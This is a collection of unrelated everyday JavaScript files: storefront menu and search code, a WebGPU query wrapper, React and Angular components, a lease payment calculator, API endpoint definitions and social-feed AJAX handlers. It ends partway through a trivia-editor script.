if (data.searchLayerType == "empty")
$("#hidSearchLayerIsEmpty").val("true");
else
{
$("#hidSearchLayerIsEmpty").val("false");
//-- Mobile layout changes, this is for when the search returns a Product
if (data.searchLayerType == "product")
{
if (window.innerWidth < 768)
$('.search-modal-match-product-size-dropdown').remove().appendTo('.product-details-image-container');
else if (window.innerWidth > 767.98 && window.innerWidth < 991.98)
$('.search-modal-match-product-size-dropdown').remove().appendTo('.search-body-product-details');
else if (window.innerWidth > 992)
$('.search-match-product-sizes').remove().appendTo('.search-body-product-details').insertBefore('.search-match-product-find-size-container');
if (window.innerWidth < 767.98)
$('.search-modal-match-product-price-container').remove().appendTo($('.search-layer-product').find('.product-details-image-container').parent());
else
$('.search-modal-match-product-price-container').remove().appendTo($('.search-layer-product').find('.search-body-product-details-container'));
//-- And the drop down menu always in case of a search which returns a Product
if (/Android|webOS|iPhone|iPad|iPod|BlackBerry/i.test(navigator.userAgent))
$('.bs-select').selectpicker('mobile');
else
$('.bs-select').selectpicker();
}
}
//-- Refresh carousels
$('.search-layer-empty-carousel').slick('refresh');
$('.search-layer-filled-carousel').slick('refresh');
},
error: function (jqXHR, textStatus, errorThrown)
{
console.log(textStatus, errorThrown);
}
}
);
}, 400);
}
/*--------/
/* Menu /
/*-------*/
let Menu = function()
{
const delay = 100;
const originalResize = function()
{
fixBannerCTA();
};
let resizeTaskId = null;
let removeStyles = function()
{
if ($(window).outerWidth() >= 991)
{
$('.menu-first-level_div, .menu-final-level_div-container').css({'display': '',});
}
};
let resizeEventListener = function()
{
window.addEventListener('resize', evt =>
{
if (resizeTaskId !== null)
{
clearTimeout(resizeTaskId);
}
resizeTaskId = setTimeout(() =>
{
resizeTaskId = null;
originalResize(evt);
}, delay);
});
};
let removeClasses = function()
{
$('.menu').removeAttr("style");
$('body').removeClass("menu-active");
$('.menu-step').removeClass("ws-activearrow");
$('.menu-step02').removeClass("ws-activearrow02");
$('.menu-step03').removeClass("ws-activearrow03");
};
let closeCurrentSubMenu = function()
{
$(".sidenav-menu-arrow-back").on('click', function ()
{
$(this).parent().parent().hide();
});
};
let openClosestSubMenu = function()
{
$(".sidenav-menu-arrow").on('click', function ()
{
$(this).parent().find(".sidenav-menu-links")[0].style.display = 'flex';
});
};
let closeSideMenu = function()
{
$(".sidenav-overlay, .sidenav-close").on('click', function ()
{
$(".sidenav-menu-links").hide();
$(".sidenav-overlay").hide();
$(".sidenav-overlay").css('z-index', 98);
document.body.style.overflowY = "auto";
});
};
let addBackArrows = function()
{
$(".menu_header-sm").each(function ()
{
if ($(this).parent().parent().closest('.sidenav-menu-links').length !== 0)
$(this).prepend('<span class="sidenav-menu-arrow-back"></span>');
$(this).append('<span class="sidenav-close"></span>');
});
};
let addArrowsMobMenu = function()
{
$(".sidenav-menu-links>ul>li").each(function ()
{
if ($(this).find('.sidenav-menu-links').length !== 0)
$(this).prepend('<span class="sidenav-menu-arrow"></span>');
});
};
let addClassEveryTabbingMenu = function()
{
$(".menu_div-inner_list > li").on('mouseenter', function ()
{
$('li.menu-final-level_link-active').removeClass('menu-final-level_link-active');
$(this).addClass("menu-final-level_link-active").siblings(this).removeClass("menu-final-level_link-active");
return false;
});
};
let menuFirstLevelEvents = function()
{
$('.menu-first-level li').mouseenter(function ()
{
$("#sidenav-overlay").show();
});
$('.menu-first-level li').mouseleave(function ()
{
$("#sidenav-overlay").hide();
});
};
let fixBannerCTA = function()
{
let ctaContainerHeight = $('.header-banner-cta-container').outerHeight();
if (window.innerWidth < 768)
$('.header-banner-bg').css("margin-bottom", ctaContainerHeight + 'px');
else
$('.header-banner-bg').css("margin-bottom", 0);
};
return {
init: function() {
fixBannerCTA();
menuFirstLevelEvents();
resizeEventListener();
addArrowsMobMenu();
addBackArrows();
openClosestSubMenu();
closeSideMenu();
closeCurrentSubMenu();
addClassEveryTabbingMenu();
removeStyles();
resizeEventListener();
$(window).trigger('resize');
},
onWindowResize: function() {
removeStyles();
removeClasses();
}
};
}();
jQuery(document).ready(function()
{
Menu.init();
});
jQuery(window).resize(function()
{
Menu.onWindowResize();
});
function MenuShowForMobile(sidenav, fullWidth)
{
$(".sidenav-overlay").css('z-index', 102);
$("#sidenav-overlay").show();
if (fullWidth)
document.getElementById(sidenav).style.width = '100%';
else
{
document.getElementById(sidenav).style.display = 'flex';
document.body.style.overflowY = "hidden";
}
}
/*-----------------/
/* Scroll to Top /
/*----------------*/
let Scroll = function ()
{
let scrollToTop = function ()
{
$('.btn-scroll-to-top').click(function (e)
{
e.preventDefault();
$('html, body').animate({scrollTop: 0}, '300');
});
};
return {
init: function () {
scrollToTop();
}
};
}();
/*----------------/
/* Product Card /
/*---------------*/
let ProductCard = function ()
{
let showProductSizeContainer = function ()
{
if (window.innerWidth < 992)
{
$('.product-card-overlay').mouseenter(function ()
{
$(this).find('.product-card-size-container').hide();
$(this).find('.product-card-color-icon-container').show();
$(this).css('padding-bottom', '10px');
});
}
else
{
$('.product-card-overlay').mouseenter(function ()
{
$(this).find('.product-card-size-container').show();
$(this).css('padding-bottom', 0);
$(this).find('.product-card-color-icon-container').css('display', 'none');
});
$('.product-card-overlay').mouseleave(function ()
{
$(this).find('.product-card-size-container').hide();
$(this).find('.product-card-color-icon-container').show();
$(this).css('padding-bottom', '10px');
});
}
};
let markSizesAsSelected = function()
{
$(document).on("click", ".product-size-container div" , function()
{
if (!$(this).hasClass('not-available'))
{
$(this).parent().children('div').each(function (el, item)
{
$(item).removeClass('selected');
});
$(this).addClass('selected');
//-- Only if we're on a PLP, save the clicked size in the LocalStorage
if($(this).parents('.page-list-card-container').length == 1)
localStorage.setItem('lastSelectedSize', $(this).find("span").html());
}
});
};
let addToWishlist = function()
{
$(document).on("click", ".product-card-item .fav-icon" , function()
{
//let productId = $(this).closest('.product-card-item').data( "productId" );
});
};
return {
init: function() {
showProductSizeContainer();
markSizesAsSelected();
addToWishlist();
},
onWindowResize: function() {
showProductSizeContainer();
},
showProductSizeContainer: function() {
showProductSizeContainer();
}
};
}();
/*----------/
/* Footer /
/*---------*/
let Footer = function()
{
let toggleFooterInnerListItems = function()
{
if (window.innerWidth < 992)
{
$('.footer-list-expand-row-container').click(function()
{
$(this).find('.footer-list-inner-items').toggleClass('show');
$(this).find('.footer-list-expander-container').toggleClass('shrink');
});
}
else
{
$('.footer-list-inner-items').each(function()
{
$(this).addClass('show');
});
}
$('#btnFooterNewsletter').click(function()
{
NewsletterSubscription($('#txtFooterNewsletter').val(), 'footer');
});
$("#txtFooterNewsletter").keypress(function (event)
{
if (event.keyCode == 13)
{
$("#btnFooterNewsletter").click();
return false;
}
});
};
let footerNewsletterInit = function()
{
if (window.innerWidth < 992)
$("#btnFooterNewsletter").html('Ok');
};
return {
init: function() {
toggleFooterInnerListItems();
footerNewsletterInit();
},
onWindowResize: function() {
footerNewsletterInit();
},
};
}();
/*-------------------/
/* Initializations /
/*------------------*/
jQuery(document).ready(function ()
{
Header.init();
HeaderSearchLayerFirstTimeLoad();
HeaderLoadDynamicBasket(false);
Menu.init();
Scroll.init();
ProductCard.init();
Footer.init();
UtilIndex.init();
});
jQuery(window).resize(function ()
{
ProductCard.onWindowResize();
Header.init();
Menu.onWindowResize();
});
|
const _ = require('lodash');
const { Wobj } = require('models');
// eslint-disable-next-line camelcase
module.exports = async ({ author_permlink, fields_names, custom_fields }) => {
const pipeline = [
{ $match: { author_permlink } },
{ $unwind: '$fields' },
{ $replaceRoot: { newRoot: '$fields' } },
];
if (!_.isEmpty(fields_names)) {
// eslint-disable-next-line camelcase
pipeline.push({ $match: { name: { $in: [...fields_names] } } });
}
if (!_.isEmpty(custom_fields)) {
const cond = {};
// eslint-disable-next-line camelcase
for (const key in custom_fields) {
cond[key] = custom_fields[key];
}
pipeline.push({ $match: cond });
}
const { wobjects: fields, error } = await Wobj.fromAggregation(pipeline);
return { fields, error };
};
|
import { DebugHelper } from "../../../core/debug.js";
/**
* A wrapper over the GpuQuerySet object, allowing timestamp and occlusion queries. The results
* are copied back using staging buffers to avoid blocking.
*
* @ignore
*/
class WebgpuQuerySet {
/**
* @type {GPUQuerySet}
*/
querySet;
stagingBuffers = [];
activeStagingBuffer = null;
/** @type {number} */
bytesPerSlot;
constructor(device, isTimestamp, capacity) {
this.device = device;
this.capacity = capacity;
this.bytesPerSlot = isTimestamp ? 8 : 4;
// query set
const wgpu = device.wgpu;
this.querySet = wgpu.createQuerySet({
type: isTimestamp ? 'timestamp' : 'occlusion',
count: capacity
});
DebugHelper.setLabel(this.querySet, `QuerySet-${isTimestamp ? 'Timestamp' : 'Occlusion'}`);
// gpu buffer for query results GPU writes to
this.queryBuffer = wgpu.createBuffer({
size: this.bytesPerSlot * capacity,
usage: GPUBufferUsage.QUERY_RESOLVE | GPUBufferUsage.STORAGE | GPUBufferUsage.COPY_SRC | GPUBufferUsage.COPY_DST
});
DebugHelper.setLabel(this.queryBuffer, 'QueryGpuBuffer');
}
destroy() {
this.querySet?.destroy();
this.querySet = null;
this.queryBuffer?.destroy();
this.queryBuffer = null;
this.activeStagingBuffer = null;
this.stagingBuffers.forEach((stagingBuffer) => {
stagingBuffer.destroy();
});
this.stagingBuffers = null;
}
getStagingBuffer() {
let stagingBuffer = this.stagingBuffers.pop();
if (!stagingBuffer) {
stagingBuffer = this.device.wgpu.createBuffer({
size: this.queryBuffer.size,
usage: GPUBufferUsage.COPY_DST | GPUBufferUsage.MAP_READ
});
DebugHelper.setLabel(this.queryBuffer, 'QueryStagingBuffer');
}
return stagingBuffer;
}
resolve(count) {
const device = this.device;
const commandEncoder = device.wgpu.createCommandEncoder();
DebugHelper.setLabel(commandEncoder, 'ResolveQuerySet-Encoder');
// copy times to the gpu buffer
commandEncoder.resolveQuerySet(this.querySet, 0, count, this.queryBuffer, 0);
// copy the gpu buffer to the staging buffer
const activeStagingBuffer = this.getStagingBuffer();
this.activeStagingBuffer = activeStagingBuffer;
commandEncoder.copyBufferToBuffer(this.queryBuffer, 0, activeStagingBuffer, 0, this.bytesPerSlot * count);
const cb = commandEncoder.finish();
DebugHelper.setLabel(cb, 'ResolveQuerySet');
device.addCommandBuffer(cb);
}
request(count, renderVersion) {
const stagingBuffer = this.activeStagingBuffer;
this.activeStagingBuffer = null;
return stagingBuffer.mapAsync(GPUMapMode.READ).then(() => {
// timestamps in nanoseconds. Note that this array is valid only till we unmap the staging buffer.
const srcTimings = new BigInt64Array(stagingBuffer.getMappedRange());
// convert to ms per sample pair
const timings = [];
for (let i = 0; i < count; i++) {
timings.push(Number(srcTimings[i * 2 + 1] - srcTimings[i * 2]) * 0.000001);
}
stagingBuffer.unmap();
this.stagingBuffers.push(stagingBuffer);
return {
renderVersion,
timings
};
});
}
}
export { WebgpuQuerySet };
|
'use strict';
angular.module('my-player', ['ngRoute'])
.config(['$routeProvider', function($routeProvider) {
$routeProvider.when('/player', {
templateUrl: 'view/player.html',
controller: 'PlayerCtrl'
});
}])
.controller('PlayerCtrl', [function() {
}]); |
import React from 'react';
const OutputRows =(props) => {
return(
<div className="OpRows">
<input type="text" readOnly value = { props.value }/>
</div>
)
}
export default OutputRows; |
(function () {
if (!window.scenecfg) {
return;
}
window.scenebag.editors.group = {
tag: 'div'
, className: 'groupeditor'
, cancel: function () {
this.style.display = 'none';
if (this.target && this.target.cancel) {
this.target.cancel();
}
if (this.target && !this.target.isdirty) {
erase(this.target);
this.target = null;
}
}
, init: function (scene) {
var el = this;
el.$scene = scene;
scene.$edtgroup = el;
cursors.bind(el.$bdel, { onmouseup: true, ontouchend: true }, function (event) {
this.$root.$scene.cancelEdit();
var scene = this.$root.$scene;
var cel = this.$root.target;
scene.removegroup(cel);
});
cursors.bind(el.$bacc, { onmouseup: true, ontouchend: true }, function (event) {
var cel = this.$root.target;
if (cel) {
cel.ischanged = true;
cel.isdirty = true;
cel.$box.innerHTML = this.$root.$box.value.replace(/\n/g, '<br />');
cel.update();
}
this.$root.$scene.cancelEdit(true);
});
scene.appendChild(el);
}
, ename: 'group'
, activate: function (scene, cel) {
var el = this;
scene.editor = el;
el.target = cel;
if (cel.editor != 'group') {
debugger;
}
el.$box.value = cel.$box.innerText || cel.$box.textContent;
el.style.display = '';
el.$box.focus();
cel.activate();
}
, $: [
{
tag: 'div', className: 'boxarea', $: {
tag: 'textarea', alias: 'box'
}
}
, {
tag: 'div', className: 'cmdarea', $: [
{ tag: 'div', alias: 'bacc', className: 'acc btn', $: 'Accept' }
, { tag: 'div', alias: 'bdel', className: 'del btn', $: 'Delete' }
]
}
, { tag: 'div', className: 'assistarea' }
]
};
window.scenecfg.removegroup = function (cel) {
var scene = this;
if (cel) {
for (var i in scene.cache.groups) {
if (i == cel.$uid) {
delete scene.cache.groups[i];
break;
}
}
if (cel.dispose) {
cel.dispose();
erase(cel);
}
}
};
window.scenecfg.addGroup = function (mevt, c, isload) {
// Group element
var cpt = {
tag: 'div', className: 'group noselect',
ischanged: false,
isgroup:true,
isdirty: false,
getData: function (json) {
var rect = rc(this);
var s = window.getComputedStyle ? window.getComputedStyle(this) : this.currentStyle;
rect.w = parseInt(s.width);
rect.h = parseInt(s.height);
var r = { uid: this.$uid, pos: rect, text: this.$box.innerText || this.$box.textContent }
return json ? r : JSON.stringify(r);
}
, setData: function (data) {
var box = this.$box;
if (box.innerText) {
box.innerText = data;
} else {
box.textContent = data;
}
}
, setlink: function (lel) {
//if (!this.links) {
// this.links = {};
//}
//this.links[lel.$uid] = lel;
}
, dispose: function () {
//var scene = this.$scene;
//if (this.links) {
// for (var i in this.links) {
// scene.removelink(this.links[i]);
// }
//}
}
, removelink: function (lel) {
if (this.links) {
for (var i in this.links) {
if (i == lel.$uid) {
delete this.links[i];
break;
}
}
}
}
, update: function () {
this.showrz(true);
}
, activate: function () {
this.showrz();
}
, $: [
{
tag: 'div', className: 'cntgroup', alias: 'box', $: 'Group'
}
, { tag: 'div', className: 'resizer dynDiv_resizeDiv_tl', alias: 'rztl' }
, { tag: 'div', className: 'resizer dynDiv_resizeDiv_br', alias: 'rzrb' }
]
, accept: function (s) {
console.log('accept');
this.$box.innerHTML = s;
$(this.$rzrb).hide();
}
, cancel: function () {
this.showrz(true);
}
, showrz: function (hide) {
if (hide) {
$(this.$rzrb).hide();
$(this.$rztl).hide();
} else {
$(this.$rzrb).show();
$(this.$rztl).show();
}
}
};
var scene = this;
var el = joy.jbuilder(cpt);
el.$scene = this;
el.$uid = c ? c.uid : joy.uid();
el.editor = 'group';
el.zindex = 1000;
el.style.minWidth = '100px';
el.style.minHeight = '100px';
if (c) {
el.setData(c.text);
el.isdirty = true;
el.ischanged = false;
}
this.$elayer.insertBefore(el, this.$svg);
ByRei_dynDiv.reinit();
//this.$bglayer.appendChild(el);
if (!c) {
this.beginEdit(el);
}
if (isload) {
//debugger;
}
offset.call(this, el, mevt, this.$layers, isload);
cursors.bind(el, { onmouseup: true, ontouchend: true }, function (event) {
if (this.$scene.mode() == 'group') {
this.$scene.beginEdit(this);
} else {
this.$scene.beginEdit(this, true);
}
});
scene.cache.groups[el.$uid] = el;
};
})();
|
import moment from 'moment';
import ApplicationConstants from './applicationconstants';
let Util = Util || {};
Util.getLeaseList = (leaseObj) => {
let leaseList = [];
let start_date = new Date(leaseObj.start_date);
let from_date = moment(start_date);
let end_date = new Date(leaseObj.end_date);
// Get the remaining days to pay
let daysTofirstPayDay = Util.getDaysToFirstPay(start_date, leaseObj.payment_day);
let frequencyMap = ApplicationConstants.frequencyMap;
// IF pay day equal to start day payment should be started with next frequency pay day
daysTofirstPayDay = (daysTofirstPayDay === 7) ? 0 : daysTofirstPayDay;
let nextPayDate ;
do {
if (daysTofirstPayDay !== 0) {
nextPayDate = moment(from_date).startOf('day').add(daysTofirstPayDay-1, 'd');
leaseList.push({
from:from_date.format(ApplicationConstants.DATEFORMAT_LEASEDATA),
to:nextPayDate.format(ApplicationConstants.DATEFORMAT_LEASEDATA),
days:daysTofirstPayDay,
amount: '$' + ((leaseObj.rent/frequencyMap.get(leaseObj.frequency)) * (daysTofirstPayDay)).toFixed(1)})
daysTofirstPayDay = 0;
} else {
nextPayDate = moment(nextPayDate).startOf('day').add('days', (frequencyMap.get(leaseObj.frequency) -1));
let daysleft = frequencyMap.get(leaseObj.frequency);
let amount = leaseObj.rent;
// When we have remaining days less than agreed payment duration
if (nextPayDate.isAfter(end_date)) {
nextPayDate = moment(end_date).startOf('day');
daysleft = moment(end_date).startOf('day').diff(from_date, 'days') + 1;
amount = ((amount/frequencyMap.get(leaseObj.frequency)) * daysleft).toFixed(1);
}
leaseList.push({from:from_date.format(ApplicationConstants.DATEFORMAT_LEASEDATA),
to: nextPayDate.format(ApplicationConstants.DATEFORMAT_LEASEDATA),
days: daysleft,
amount: '$' + amount});
}
// Adding one day hence day is included for next from date
from_date = nextPayDate.add('days' ,1);
} while (nextPayDate.isBefore(end_date));
return leaseList;
}
Util.getDaysToFirstPay= (startDate, paymentDay) => {
let daysForFirstPayday=0;
let startDay = startDate.getDay();
let pday = ApplicationConstants.daysOfWeekMap.get(paymentDay);
/* IF the pay day is less than start day then calculate remaining days for sunday and add
number val of pay day else get the number dates for payday from start day */
daysForFirstPayday = (pday > startDay) ? (pday-startDay) : (7 - startDay + pday);
return daysForFirstPayday;
}
export default Util;
|
import { FaGithub, FaLinkedin, FaMedium } from 'react-icons/fa'
const Contact = () => {
return (
<div className='flex flex-col items-center w-full'>
<h2 className="dark:text-white text-3xl">Contact Me</h2>
<div className='flex items-center justify-evenly'>
<a href='https://github.com/michaelm3'><FaGithub size={100}/></a>
<a href='https://www.linkedin.com/in/michael-muniz94'><FaLinkedin size={100}/></a>
<a href='https://medium.com/@michaelmuniz'><FaMedium size={100}/></a>
</div>
</div>
)
}
export default Contact
|
import React from 'react';
import './styles.css';
export default (props) =>
(
<React.Fragment>
<div class='center-middle flex-column'>
<h1 class="font-cursive main-heading big">Hello, I'm {props.name}</h1>
<h3 class="font-mono sub">
{
props.titles.map((title, index) =>
props.titles.length - 1 === index ? title : title + ' | '
)
}
</h3>
</div>
<div class="center-middle btn-container">
<a class="btn-link" href={props.resumeLink}
target="_blank" rel="noopener noreferrer">
<button class="download-button font-mono">Download Resume</button>
</a>
</div>
</React.Fragment>
) |
/*
*
* attributeMaintenanceApi.js
*
* Copyright (c) 2018 HEB
* All rights reserved.
*
* This software is the confidential and proprietary information
* of HEB.
* @author a786878
* @since 2.15.0
*/
'use strict';
(function () {
angular.module('productMaintenanceUiApp').factory('sourceSystemApi', sourceSystemApi);
sourceSystemApi.$inject = ['urlBase', '$resource'];
/**
* Creates a factory to create methods to contact product maintenance's sourceSystem API.
*
* @param urlBase The base URL to use to contact the backend.
* @param $resource Angular $resource used to construct the client to the REST service.
* @returns {*} The inventory API factory.
*/
function sourceSystemApi(urlBase, $resource) {
return $resource(null, null, {
'findAll': {
method: 'GET',
url: urlBase + '/pm/sourceSystem/findAll',
isArray: true
}
});
}
})();
|
module.exports = {
// parser: require('./config/helper/stylus'),
syntax: require("./config/helper/stylus"),
plugins: [
require("postcss-import")({
path: ["."]
}),
require("postcss-pxtransform")({
platform: "rn",
designWidth: 750,
deviceRatio: {
"640": 1.17,
"750": 1,
"828": 0.905
}
}),
require("./rn/plugins/postcss")({
paths: ["./src/asset/style/index.styl"]
})
]
};
|
"use strict";
var userModel = require("../models/userModel");
var q = require("q");
module.exports = {
findOne: function(req, res) {
userModel.findOne(req.params.email, function(error, response) {
if(!error) {
deferred.resolve(response);
}
else {
deferred.reject("UserCtrlr FindOne error: " + error)
};
});
return deferred.promise;
},
getUser: function(req, res) {
var deferred = q.defer();
userModel.findOne(req.params.email, function(error, response) {
if(!error) {
// console.log("getUser response: " + response)
deferred.resolve(response)
}
else {
deferred.reject("UserCtrlr Find error: " + error)
};
});
return deferred.promise;
}
};
|
import React from 'react';
import Stars from 'client/components/Stars/Stars';
import renderer from 'react-test-renderer';
describe('Stars Component', () => {
test('renders properly', () => {
const placeComponent = renderer
.create(<Stars rating={4} />)
.toJSON();
expect(placeComponent).toMatchSnapshot();
});
});
|
$(function() {
$('form input.text, form select').keyup(function(event) {
if (event.keyCode == 13) {
$(this).closest('form').submit();
}
});
$('form button').click(function(event) {
$(this).closest('form').submit();
});
}); |
import request from '@/utils/request'
import { urlCrowd } from '@/api/commUrl'
const searchClassifyUrl = urlCrowd + 'crowdCircleCategory/searchCrowdCircleCategoryListByPage'
const changeClassNameUrl = urlCrowd + 'crowdCircleCategory/updateCrowdCircleCategoryName'
const newFirstClassUrl = urlCrowd + 'crowdCircleCategory/saveFirstCrowdCircleCategory'
const addNextClassUrl = urlCrowd + 'crowdCircleCategory/saveChildCrowdCircleCategory'
const setTopNumberUrl = urlCrowd + 'crowdCircleCategory/updateCrowdCircleCategoryToplimit'
const searchByLevelUrl = urlCrowd + 'crowdCircleCategory/searchCategoryLevelList'
const setGtoCnumberUrl = urlCrowd + 'crowdCircleCategory/updateCrowdToCircleNum'
const setFissionUrl = urlCrowd + 'crowdCircleCategory/updateFissionNum'
const searchTitleUrl = urlCrowd + 'crowdCircleCategory/searchFlCategoryTitleList'
const addTitleUrl = urlCrowd + 'crowdCircleCategory/saveFlCategoryTitle'
//晶晶本地地址
//const searchClassifyUrl = 'http://192.168.1.147:8089/fwas-crowd-admin/sys/crowdCircleCategory/searchCrowdCircleCategoryListByPage'
//const changeClassNameUrl = 'http://192.168.1.147:8089/fwas-crowd-admin/sys/crowdCircleCategory/updateCrowdCircleCategoryName'
//const newFirstClassUrl = 'http://192.168.1.147:8089/fwas-crowd-admin/sys/crowdCircleCategory/saveFirstCrowdCircleCategory'
//const addNextClassUrl = 'http://192.168.1.147:8089/fwas-crowd-admin/sys/crowdCircleCategory/saveChildCrowdCircleCategory'
//const setTopNumberUrl = 'http://192.168.1.147:8089/fwas-crowd-admin/sys/crowdCircleCategory/updateCrowdCircleCategoryToplimit'
//const searchByLevelUrl = 'http://192.168.1.147:8089/fwas-crowd-admin/sys/crowdCircleCategory/searchCategoryLevelList'
//const setGtoCnumberUrl = 'http://192.168.1.147:8089/fwas-crowd-admin/sys/crowdCircleCategory/updateCrowdToCircleNum'
//const setFissionUrl = 'http://192.168.1.147:8089/fwas-crowd-admin/sys/crowdCircleCategory/updateFissionNum'
//const searchTitleUrl = 'http://192.168.1.147:8089/fwas-crowd-admin/sys/crowdCircleCategory/searchFlCategoryTitleList'
//const addTitleUrl = 'http://192.168.1.147:8089/fwas-crowd-admin/sys/crowdCircleCategory/saveFlCategoryTitle'
/*
* 群圈分类管理
*/
// 查询全部角色信息 已通
export function searchClassList (params) {
return request({
url: searchClassifyUrl,
method: 'post',
data: params
})
}
// 按照级别查询角色信息 已通
export function searchByLevel () {
return request({
url: searchByLevelUrl,
method: 'post'
})
}
// 列表中分类名称的编辑 已通
export function changeClassName (params) {
return request({
url: changeClassNameUrl,
method: 'post',
data: params
})
}
// 新增一级圈分类 已通
export function newFirstClass (params) {
return request({
url: newFirstClassUrl,
method: 'post',
data: params
})
}
// 新增下级分类 已通
export function addNextClass (params) {
return request({
url: addNextClassUrl,
method: 'post',
data: params
})
}
// 设置人数上限 已通
export function setTopNumber (params) {
return request({
url: setTopNumberUrl,
method: 'post',
data: params
})
}
// 批量启用停用 已移至鸽舍页面
//export function openAndClose (params) {
//return request({
// url: openAndCloseUrl,
// method: 'post',
// data: params
//})
//}
// 设置群升级圈人数
export function setGtoCnumber (params) {
return request({
url: setGtoCnumberUrl,
method: 'post',
data: params
})
}
// 设置只能裂变规定人数
export function setFission(params) {
return request({
url: setFissionUrl,
method: 'post',
data: params
})
}
// 设置搜索标题
export function searchTitle(params) {
return request({
url: searchTitleUrl,
method: 'post',
data: params
})
}
// 新增标题
export function addTitle(params) {
return request({
url: addTitleUrl,
method: 'post',
data: params
})
}
|
/***
* 角色管理
* @type
*/
var Role = {
/**
* 表格数据
*/
initGrid : function(){
var grid = new Datatable();
var table = $('#roleGrid');
grid.init({
src: $("#roleGrid"),
onSuccess: function (grid, response) {
$("#roleGrid_paginate").parent().remove();
console.log("加载完成");
},
onError: function (grid) {
},
onDataLoad: function(grid) {
},
"dom" : "aaaaaa",
loadingMessage: '数据加载中...',
dataTable: {
"bStateSave": false,
"ordering": true,
"lengthMenu": [
[10, 20, 50, 100, 150, -1],
[10, 20, 50, 100, 150, "All"]
],
"pageLength": 10,
"ajax": {
"url": "tally/role/roleList"
},
columns: [
{
"sClass": "text-center",
"data": "id",
"render": function (data, type, full, meta) {
return '<label class="mt-checkbox mt-checkbox-single mt-checkbox-outline"><input type="checkbox" class="checkboxes" value="' + data + '" /><span></span></label>';
},
"bSortable": false
},
{ data: 'id' },
{ data: 'name' },
{ data: 'column1' }
],
"order": [
[1, "asc"]
]
}
});
table.find('.group-checkable').change(function () {
var set = jQuery(this).attr("data-set");
var checked = jQuery(this).is(":checked");
jQuery("tbody tr .checkboxes").each(function () {
console.log(checked);
if (checked) {
$(this).prop("checked", true);
$(this).parents('tr').addClass("active");
} else {
$(this).prop("checked", false);
$(this).parents('tr').removeClass("active");
}
});
});
table.on('change', 'tbody tr .checkboxes', function () {
$(this).parents('tr').toggleClass("active");
});
},
/**
* 初始化页面内容
*/
init : function(){
Role.initGrid();
}
}
$(function(){
Role.init();
}) |
function change_black_white() {
$.ajax({
type: "GET",
url: '/change_black_white',
data: {
"general_image_url": $('#show_image').attr('name'),
"new_image_url": $('#show_image').attr('src')
},
dataType: "json",
success: function (data) {
$("#show_image").attr("src", data["newImage_url"]);
},
failure: function (data) {
alert('There is a problem!!!');
}
});
}
function reset_image() {
var general_url_image = $('#show_image').attr('name');
var new_url_image = $('#show_image').attr('src');
if (general_url_image != new_url_image) {
$.ajax({
type: "GET",
url: '/reset_image',
data: {
"image_url": new_url_image
},
dataType: "json",
success: function (data) {
$("#show_image").attr("src", data["newImage_url"]);
$("#show_image").attr("width", data["height"]);
$("#show_image").attr("height", data["width"]);
},
failure: function (data) {
alert('There is a problem!!!');
}
});
}
}
function change_size() {
var width_image = $('#width_image');
var height_image = $('#height_image');
var width = width_image.val();
var height = height_image.val();
if (width < 200) {
width_image.css('background', 'red');
width_image.val(200);
width = 200;
}
else if (width > 500) {
width_image.css('background', 'red');
width_image.val(400);
width = 400;
}
if (height < 300) {
height_image.css('background', 'red');
height_image.val(300);
height = 300;
}
else if (height > 600) {
height_image.css('background', 'red');
height_image.val(500);
height = 500;
}
$.ajax({
type: "GET",
url: '/change_size_of_image',
data: {
"image_url": $('#show_image').attr('name'),
"width": width,
"height": height,
},
dataType: "json",
success: function (data) {
$("#show_image").attr("src", data["newImage_url"]);
$('#show_image').attr('width', width);
$('#show_image').attr('height', height);
},
failure: function (data) {
alert('There is a problem!!!');
}
});
}
function change_contract() {
$.ajax({
type: "GET",
url: '/change_contract_image',
data: {
"image_url": $('#show_image').attr('name'),
"factor": $('#contract_range').val(),
},
dataType: "json",
success: function (data) {
$("#show_image").attr("src", data["newImage_url"]);
},
failure: function (data) {
alert('There is a problem!!!');
}
});
}
function add_comment_button(postPk) {
$.ajax({
type: "GET",
url: '/user_add_comment',
data: {
"comment_text": $('#user-comment-' + postPk).val(),
"post_pk": postPk,
},
dataType: "json",
success: function (data) {
location.href = data["url"];
},
failure: function () {
alert('There is a problem!!!');
}
});
}
function follow() {
$.ajax({
type: "GET",
url: '/follow',
data: {
"user_pk": $('#follow-button').attr("name")
},
dataType: "json",
success: function (data) {
location.href = data["url"];
},
failure: function () {
alert('There is a problem!!!');
}
});
}
function unfollow() {
$.ajax({
type: "GET",
url: '/unfollow',
data: {
"user_pk": $('#follow-button').attr("name")
},
dataType: "json",
success: function (data) {
location.href = data["url"];
},
failure: function () {
alert('There is a problem!!!');
}
});
}
function approve_comment(comment_pk) {
$.ajax({
type: "GET",
url: '/approve_comment',
data: {
"comment_pk": comment_pk,
// "user_pk": $('#approve-comment-' + comment_pk).attr("name")
},
dataType: "json",
success: function (data) {
location.href = data["url"];
},
failure: function () {
alert('There is a problem!!!');
}
});
}
function delete_comment(comment_pk) {
$.ajax({
type: "GET",
url: '/delete_comment',
data: {
"comment_pk": comment_pk,
// "user_pk": $('#approve-comment-' + comment_pk).attr("name")
},
dataType: "json",
success: function (data) {
location.href = data["url"];
},
failure: function () {
alert('There is a problem!!!');
}
});
}
|
$(document).ready(() => {
// Helper function for displaying a user's trivia questions
const displayQuestion = triviaQuestion => {
// Creates a container div for question and edit/delete buttons
// const displayPromise = new Promise((resolve, reject) => {
const questionContainer = $(`<div id=${triviaQuestion._id}>`).addClass('questionContainer');
const questionHeader = $('<div>').addClass('questionHeader');
const categoryName = $(`<div class= "categoryName">${triviaQuestion.category}</div>`);
const questionTitle = $('<div>').addClass('questionTitle').text(triviaQuestion.question);
const questionButtons = $('<div class="buttonContainer"></div>');
questionButtons.append('<button class="editButton">Edit</button>');
questionButtons.append('<button class="saveButton">Save</button>');
questionButtons.append('<button class="cancelButton">Cancel</button>');
questionButtons.append('<button class="deleteButton">Delete</button>');
// Bind event handlers to each newly created button
// Clicking edit button generates an input field where the user can edit question title text
questionButtons.children('.editButton').click(event => {
const questionTitle = $(event.target).parent().siblings('.questionTitle');
const questionText = questionTitle.text();
// 1) Remove questionTitle, append inputText (input field)
questionTitle.remove();
const inputField = $(`<input type="text" value="${questionText}">`);
$(event.target).parent().before(inputField);
// 2) Hide edit button, show save and cancel buttons
$(event.target).hide();
$(event.target).siblings('.deleteButton').hide();
$(event.target).siblings('.saveButton').show();
$(event.target).siblings('.cancelButton').show();
});
// Clicking delete button deletes the question from the database and the DOM
questionButtons.children('.deleteButton').click(event => {
const questionId = $(event.target).parents('.questionContainer').attr('id');
const requestBody = JSON.stringify({ _id: questionId });
fetch('/deleteQ', {
method: 'POST',
headers: { 'Content-Type' : 'application/json' },
